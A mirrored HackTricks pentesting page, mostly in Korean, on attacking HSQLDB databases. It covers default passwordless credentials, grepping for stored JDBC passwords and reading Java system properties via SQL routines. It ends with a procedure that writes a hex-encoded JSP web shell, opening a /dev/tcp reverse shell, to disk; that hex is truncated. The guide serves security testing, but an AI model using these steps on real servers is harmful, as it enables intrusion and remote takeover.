mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
96 lines
5.6 KiB
Markdown
96 lines
5.6 KiB
Markdown
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
|
||
# 기본 정보
|
||
|
||
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)**는 Java로 작성된 주요 SQL 관계형 데이터베이스 시스템입니다. 메모리 내 및 디스크 기반 테이블을 지원하며, 내장 및 서버 모드를 지원하는 작고 빠른 다중 스레드 및 트랜잭션 데이터베이스 엔진을 제공합니다.
|
||
|
||
**기본 포트:** 9001
|
||
```text
|
||
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
|
||
```
|
||
# 정보
|
||
|
||
### 기본 설정
|
||
|
||
기본적으로 이 서비스는 메모리에서 실행되거나 localhost에 바인딩되어 있을 가능성이 높습니다. 이를 발견했다면, 아마 다른 서비스를 이용해 취약점을 이용하고 권한 상승을 시도하고 있는 것입니다.
|
||
|
||
기본 자격 증명은 일반적으로 비밀번호가 없는 `sa`입니다.
|
||
|
||
다른 서비스를 이용해 취약점을 이용했다면, 가능한 자격 증명을 검색하십시오.
|
||
```text
|
||
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
|
||
```
|
||
Note the database name carefully - you’ll need it to connect.
|
||
|
||
# Info Gathering
|
||
|
||
DB 인스턴스에 연결하려면 [HSQLDB 다운로드](https://sourceforge.net/projects/hsqldb/files/) 후 `hsqldb/lib/hsqldb.jar`를 추출하세요. `java -jar hsqldb.jar`를 사용하여 GUI 앱 \(eww\)을 실행하고 발견된/약한 자격 증명을 사용하여 인스턴스에 연결하세요.
|
||
|
||
원격 시스템의 경우 연결 URL은 다음과 비슷하게 보일 것입니다: `jdbc:hsqldb:hsql://ip/DBNAME`.
|
||
|
||
# Tricks
|
||
|
||
## Java Language Routines
|
||
|
||
HSQLDB에서 Java Language Routines를 사용하여 Java 클래스의 정적 메서드를 호출할 수 있습니다. 호출된 클래스는 애플리케이션의 클래스 경로에 있어야 합니다.
|
||
|
||
JRT는 `functions` 또는 `procedures`일 수 있습니다. 함수는 Java 메서드가 하나 이상의 SQL 호환 기본 변수를 반환하는 경우 SQL 문을 통해 호출할 수 있습니다. `VALUES` 문을 사용하여 호출됩니다.
|
||
|
||
우리가 호출하려는 Java 메서드가 void를 반환하는 경우, `CALL` 문으로 호출되는 프로시저를 사용해야 합니다.
|
||
|
||
## Reading Java System Properties
|
||
|
||
함수 생성:
|
||
```text
|
||
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
|
||
DETERMINISTIC NO SQL
|
||
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
|
||
```
|
||
함수 실행:
|
||
```text
|
||
VALUES(getsystemproperty('user.name'))
|
||
```
|
||
You can find a [list of system properties here](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
|
||
|
||
## 파일에 내용 쓰기
|
||
|
||
JDK에 위치한 `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java 가젯을 사용하여 사용자 정의 프로시저를 통해 16진수 인코딩된 항목을 디스크에 쓸 수 있습니다. **최대 크기는 1024 바이트입니다**.
|
||
|
||
프로시저 생성:
|
||
```text
|
||
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
|
||
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
|
||
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
|
||
```
|
||
프로시저 실행:
|
||
```text
|
||
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
|
||
```
|
||
{% hint style="success" %}
|
||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricks 지원하기</summary>
|
||
|
||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||
|
||
</details>
|
||
{% endhint %}
|